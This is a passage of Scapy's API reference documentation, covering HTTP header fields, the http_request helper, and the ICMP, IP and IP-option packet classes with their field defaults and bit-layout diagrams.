	_HTTPHeaderField

	None



	IM

	_HTTPHeaderField

	None



	Keep_Alive

	_HTTPHeaderField

	None



	Last_Modified

	_HTTPHeaderField

	None



	Link

	_HTTPHeaderField

	None



	Location

	_HTTPHeaderField

	None



	P3P

	_HTTPHeaderField

	None



	Permanent

	_HTTPHeaderField

	None



	Pragma

	_HTTPHeaderField

	None



	Proxy_Authenticate

	_HTTPHeaderField

	None



	Public_Key_Pins

	_HTTPHeaderField

	None



	Refresh

	_HTTPHeaderField

	None



	Retry_After

	_HTTPHeaderField

	None



	Server

	_HTTPHeaderField

	None



	Set_Cookie

	_HTTPHeaderField

	None



	Status

	_HTTPHeaderField

	None



	Strict_Transport_Security

	_HTTPHeaderField

	None



	Timing_Allow_Origin

	_HTTPHeaderField

	None



	Tk

	_HTTPHeaderField

	None



	Trailer

	_HTTPHeaderField

	None



	Transfer_Encoding

	_HTTPHeaderField

	None



	Upgrade

	_HTTPHeaderField

	None



	Vary

	_HTTPHeaderField

	None



	Via

	_HTTPHeaderField

	None



	WWW_Authenticate

	_HTTPHeaderField

	None



	Warning

	_HTTPHeaderField

	None



	X_Content_Duration

	_HTTPHeaderField

	None



	X_Content_Security_Policy

	_HTTPHeaderField

	None



	X_Content_Type_Options

	_HTTPHeaderField

	None



	X_Correlation_ID

	_HTTPHeaderField

	None



	X_Frame_Options

	_HTTPHeaderField

	None



	X_Powered_By

	_HTTPHeaderField

	None



	X_Request_ID

	_HTTPHeaderField

	None



	X_UA_Compatible

	_HTTPHeaderField

	None



	X_WebKit_CSP

	_HTTPHeaderField

	None



	X_XSS_Protection

	_HTTPHeaderField

	None



	Unknown_Headers

	_HTTPHeaderField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L550-L554]

	








	
scapy.layers.http.http_request(host, path='/', port=80, timeout=3, display=False, verbose=0, raw=False, iface=None, **headers)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/http.py#L694-L760]

	Util to perform an HTTP request, using the TCP_client.


	Parameters:

	
	host – the host to connect to


	path – the path of the request (default /)


	port – the port (default 80)


	timeout – timeout before None is returned


	display – display the result in the default browser (default False)


	raw – opens a raw socket instead of going through the OS’s TCP
socket. Scapy will then use its own TCP client.
Careful, the OS might cancel the TCP connection with RST.


	iface – interface to use. Changing this turns on “raw”


	headers – any additional headers passed to the request






	Returns:

	the HTTPResponse packet












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.inet

IPv4 (Internet Protocol v4).


	
exception scapy.layers.inet.BadFragments(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1421-L1424]

	Bases: ValueError






	
class scapy.layers.inet.DestIPField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L514-L529]

	Bases: IPField, DestField


	
bindings: Dict[Type[Packet], Tuple[str, Any]] = {<class 'scapy.contrib.ospf.OSPF_Hdr'>: [('224.0.0.5', {})], <class 'scapy.layers.inet.UDP'>: [('224.0.0.251', {'dport': 5353}), ('224.0.0.2', {'dport': 1985})]}

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L526-L529]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L521-L524]

	








	
class scapy.layers.inet.ICMP(_pkt, /, *, type=8, code=0, chksum=None, id=0, seq=0, ts_ori=47014943, ts_rx=47014943, ts_tx=47014943, gw='0.0.0.0', ptr=0, reserved=0, length=0, addr_mask='0.0.0.0', nexthopmtu=0, unused=None, extpad=b'', ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1121-L1238]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1214-L1221]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |              SEQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TS ORI                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TS RX                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TS TX                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               GW                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PTR      |    RESERVED   |     LENGTH    |   ADDR MASK   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |   NEXTHOPMTU  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |UNUSE|EXTPA|              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. ICMP                             


ICMP fields






	type

	ByteEnumField

	8



	code

	MultiEnumField (Depends on 8)

	0



	chksum

	XShortField

	None



	id

	XShortField (Cond)

	0



	seq

	XShortField (Cond)

	0



	ts_ori

	ICMPTimeStampField (Cond)

	47014943



	ts_rx

	ICMPTimeStampField (Cond)

	47014943



	ts_tx

	ICMPTimeStampField (Cond)

	47014943



	gw

	IPField (Cond)

	'0.0.0.0'



	ptr

	ByteField (Cond)

	0



	reserved

	ByteField (Cond)

	0



	length

	ByteField (Cond)

	0



	addr_mask

	IPField (Cond)

	'0.0.0.0'



	nexthopmtu

	ShortField (Cond)

	0



	unused

	MultipleTypeField (ShortField, IntField, StrFixedLenField)

	b''



	extpad

	_ICMPExtensionPadField (Cond)

	b''



	ext

	_ICMPExtensionField (Cond)

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1223-L1227]

	




	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1209-L1212]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1229-L1238]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1202-L1207]

	




	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1040-L1046]

	








	
class scapy.layers.inet.ICMPEcho_am(self)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2496-L2518]

	Bases: AnsweringMachine

Responds to ICMP Echo-Requests (ping)


	
function_name = 'icmpechod'

	




	
is_request(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2500-L2506]

	




	
make_reply(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2511-L2518]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
print_reply(req, reply)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2508-L2509]

	








	
class scapy.layers.inet.ICMPExtension_Header(_pkt, /, *, version=2, reserved=0, chksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L947-L988]

	Bases: Packet

ICMP Extension per RFC4884.

Example:

pkt = IP(dst="127.0.0.1", src="127.0.0.1") / ICMP(
    type="time-exceeded",
    code="ttl-zero-during-transit",
    ext=ICMPExtension_Header() / ICMPExtension_InterfaceInformation(
        has_ifindex=1,
        has_ipaddr=1,
        has_ifname=1,
        ip4="10.10.10.10",
        ifname="hey",
    )
) / IPerror(src="12.4.4.4", dst="12.1.1.1") / \
    UDPerror(sport=42315, dport=33440) /  \
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'






	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|        RESERVED       |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPExtension_Header                     


ICMPExtension_Header fields






	version

	BitField  (4 bits)

	2



	reserved

	BitField  (12 bits)

	0



	chksum

	XShortField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L985-L988]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L978-L983]

	




	
show_indent = 0

	








	
class scapy.layers.inet.ICMPExtension_InterfaceInformation(_pkt, /, *, len=None, classnum=2, classtype=0, reserved=0, has_ifindex=0, has_ipaddr=0, has_ifname=0, has_mtu=0, ifindex=None, afi=None, reserved2=0, ip4=None, ip6=None, ifname_len=None, ifname=None, mtu=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L910-L944]

	Bases: ICMPExtension_Object


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |    CLASSNUM   |CLA|RES|H|H|H|H|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IFINDEX                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AFI              |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IP4                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IP6                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   IFNAME LEN  |             IFNAME            |      MTU      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ICMPExtension_InterfaceInformation              


ICMPExtension_InterfaceInformation fields






	len

	ShortField

	None



	classnum

	ByteEnumField

	2



	classtype

	BitField  (2 bits)

	0



	reserved

	BitField  (2 bits)

	0



	has_ifindex

	BitField  (1 bit)

	0



	has_ipaddr

	BitField  (1 bit)

	0



	has_ifname

	BitField  (1 bit)

	0



	has_mtu

	BitField  (1 bit)

	0



	ifindex

	IntField (Cond)

	None



	afi

	ShortField (Cond)

	None



	reserved2

	ShortField (Cond)

	0



	ip4

	IPField (Cond)

	None



	ip6

	IP6Field (Cond)

	None



	ifname_len

	FieldLenField (Cond)

	None



	ifname

	StrLenField (Cond)

	None



	mtu

	IntField (Cond)

	None











	
self_build(**kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L938-L944]

	








	
class scapy.layers.inet.ICMPExtension_Object(_pkt, /, *, len=None, classnum=0, classtype=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L880-L907]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L901-L907]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |    CLASSNUM   |   CLASSTYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPExtension_Object                     


ICMPExtension_Object fields






	len

	ShortField

	None



	classnum

	ByteEnumField

	0



	classtype

	ByteField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L889-L893]

	




	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L897-L899]

	




	
registered_icmp_exts = {0: <class 'scapy.layers.inet.ICMPExtension_Object'>, 1: <class 'scapy.contrib.mpls.ICMPExtension_MPLS'>, 2: <class 'scapy.layers.inet.ICMPExtension_InterfaceInformation'>}

	




	
show_indent = 0

	








	
class scapy.layers.inet.ICMPTimeStampField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L488-L511]

	Bases: IntField


	
any2i(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L500-L511]

	




	
i2repr(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L491-L498]

	




	
re_hmsm = re.compile('([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$')

	








	
class scapy.layers.inet.ICMPerror(_pkt, /, *, type=8, code=0, chksum=None, id=0, seq=0, ts_ori=47014943, ts_rx=47014943, ts_tx=47014943, gw='0.0.0.0', ptr=0, reserved=0, length=0, addr_mask='0.0.0.0', nexthopmtu=0, unused=None, extpad=b'', ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1309-L1328]

	Bases: ICMP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1312-L1325]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |              SEQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TS ORI                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TS RX                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TS TX                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               GW                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PTR      |    RESERVED   |     LENGTH    |   ADDR MASK   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |   NEXTHOPMTU  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |UNUSE|EXTPA|              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ICMPerror                          


ICMPerror fields






	type

	ByteEnumField

	8



	code

	MultiEnumField (Depends on 8)

	0



	chksum

	XShortField

	None



	id

	XShortField (Cond)

	0



	seq

	XShortField (Cond)

	0



	ts_ori

	ICMPTimeStampField (Cond)

	47014943



	ts_rx

	ICMPTimeStampField (Cond)

	47014943



	ts_tx

	ICMPTimeStampField (Cond)

	47014943



	gw

	IPField (Cond)

	'0.0.0.0'



	ptr

	ByteField (Cond)

	0



	reserved

	ByteField (Cond)

	0



	length

	ByteField (Cond)

	0



	addr_mask

	IPField (Cond)

	'0.0.0.0'



	nexthopmtu

	ShortField (Cond)

	0



	unused

	MultipleTypeField (ShortField, IntField, StrFixedLenField)

	b''



	extpad

	_ICMPExtensionPadField (Cond)

	b''



	ext

	_ICMPExtensionField (Cond)

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1327-L1328]

	








	
class scapy.layers.inet.IP(_pkt, /, *, version=4, ihl=None, tos=0, len=None, id=1, flags=<Flag 0 ()>, frag=0, ttl=64, proto=0, chksum=None, src=None, dst=None, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L532-L630]

	Bases: Packet, IPTools


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L593-L620]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L563-L567]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  IHL  |      TOS      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |FLAGS|           FRAG          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TTL      |     PROTO     |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. IP                              


IP fields






	version

	BitField  (4 bits)

	4



	ihl

	BitField  (4 bits)

	None



	tos

	XByteField

	0



	len

	ShortField

	None



	id

	ShortField

	1



	flags

	FlagsField

	<Flag 0 ()>



	frag

	BitField  (13 bits)

	0



	ttl

	ByteField

	64



	proto

	ByteEnumField

	0



	chksum

	XShortField

	None



	src

	SourceIPField

	None



	dst

	DestIPField

	None



	options

	PacketListField

	[]











	
fragment(fragsize=1480)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L628-L630]

	Fragment IP datagrams






	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L578-L591]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L622-L626]

	




	
payload_guess

	Possible sublayers:
CARP, EIGRP, EtherIP, IGMP, IGMPv3, MPLS, OSPF_Hdr, PIMv2Hdr, RSVP, ICMP, IP, TCP, UDP, IPv6, AH, ESP, GRE, SCTP






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L549-L561]

	




	
route()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L569-L576]

	








	
scapy.layers.inet.IPID_count(lst, funcID=<function <lambda>>, funcpres=<function <lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2351-L2366]

	Identify IP id values classes in a list of packets

lst:      a list of packets
funcID:   a function that returns IP id values
funcpres: a function used to summarize packets






	
class scapy.layers.inet.IPOption(_pkt, /, *, copy_flag=0, optclass=0, option=0, length=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L134-L156]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L150-L156]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L141-L142]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IPOption                           


IPOption fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	0



	option

	BitEnumField

	0



	length

	FieldLenField

	None



	value

	StrLenField

	b''











	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L146-L148]

	




	
registered_ip_options = {0: <class 'scapy.layers.inet.IPOption_EOL'>, 1: <class 'scapy.layers.inet.IPOption_NOP'>, 2: <class 'scapy.layers.inet.IPOption_Security'>, 3: <class 'scapy.layers.inet.IPOption_LSRR'>, 4: <class 'scapy.layers.inet.IPOption_Timestamp'>, 7: <class 'scapy.layers.inet.IPOption_RR'>, 8: <class 'scapy.layers.inet.IPOption_Stream_Id'>, 9: <class 'scapy.layers.inet.IPOption_SSRR'>, 11: <class 'scapy.layers.inet.IPOption_MTU_Probe'>, 12: <class 'scapy.layers.inet.IPOption_MTU_Reply'>, 18: <class 'scapy.layers.inet.IPOption_Traceroute'>, 19: <class 'scapy.layers.inet.IPOption_Address_Extension'>, 20: <class 'scapy.layers.inet.IPOption_Router_Alert'>, 21: <class 'scapy.layers.inet.IPOption_SDBM'>}

	








	
class scapy.layers.inet.IPOption_Address_Extension(_pkt, /, *, copy_flag=1, optclass=0, option=19, length=10, src_ext='0.0.0.0', dst_ext='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L266-L273]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |            SRC EXT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DST EXT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IPOption_Address_Extension                  


IPOption_Address_Extension fields






	copy_flag

	BitField  (1 bit)

	1



	optclass

	BitEnumField

	0



	option

	BitEnumField

	19



	length

	ByteField

	10



	src_ext

	IPField

	'0.0.0.0'



	dst_ext

	IPField

	'0.0.0.0'















	
class scapy.layers.inet.IPOption_EOL(_pkt, /, *, copy_flag=0, optclass=0, option=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L159-L162]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |
+-+-+-+-+-+-+-+-+

                        Fig. IPOption_EOL                         


IPOption_EOL fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	0



	option

	BitEnumField

	0















	
class scapy.layers.inet.IPOption_LSRR(_pkt, /, *, copy_flag=1, optclass=0, option=3, length=None, pointer=4, routers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L199-L202]

	Bases: IPOption_RR


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |    POINTER    |    ROUTERS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. IPOption_LSRR                        


IPOption_LSRR fields






	copy_flag

	BitField  (1 bit)

	1



	optclass

	BitEnumField

	0



	option

	BitEnumField

	3



	length

	FieldLenField

	None



	pointer

	ByteField

	4



	routers

	FieldListField

	[]















	
class scapy.layers.inet.IPOption_MTU_Probe(_pkt, /, *, copy_flag=0, optclass=0, option=11, length=4, mtu=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L220-L225]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPOption_MTU_Probe                      


IPOption_MTU_Probe fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	0



	option

	BitEnumField

	11



	length

	ByteField

	4



	mtu

	ShortField

	0















	
class scapy.layers.inet.IPOption_MTU_Reply(_pkt, /, *, copy_flag=0, optclass=0, option=12, length=4, mtu=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L228-L230]

	Bases: IPOption_MTU_Probe


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IPOption_MTU_Reply                      


IPOption_MTU_Reply fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	0



	option

	BitEnumField

	12



	length

	ByteField

	4



	mtu

	ShortField

	0















	
class scapy.layers.inet.IPOption_NOP(_pkt, /, *, copy_flag=0, optclass=0, option=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L165-L168]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |
+-+-+-+-+-+-+-+-+

                        Fig. IPOption_NOP                         


IPOption_NOP fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	0



	option

	BitEnumField

	1















	
class scapy.layers.inet.IPOption_RR(_pkt, /, *, copy_flag=0, optclass=0, option=7, length=None, pointer=4, routers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L184-L196]

	Bases: IPOption


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|C|OPT|  OPTION |     LENGTH    |    POINTER    |    ROUTERS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. IPOption_RR                         


IPOption_RR fields






	copy_flag

	BitField  (1 bit)

	0



	optclass

	BitEnumField

	0



	option

	BitEnumField

	7



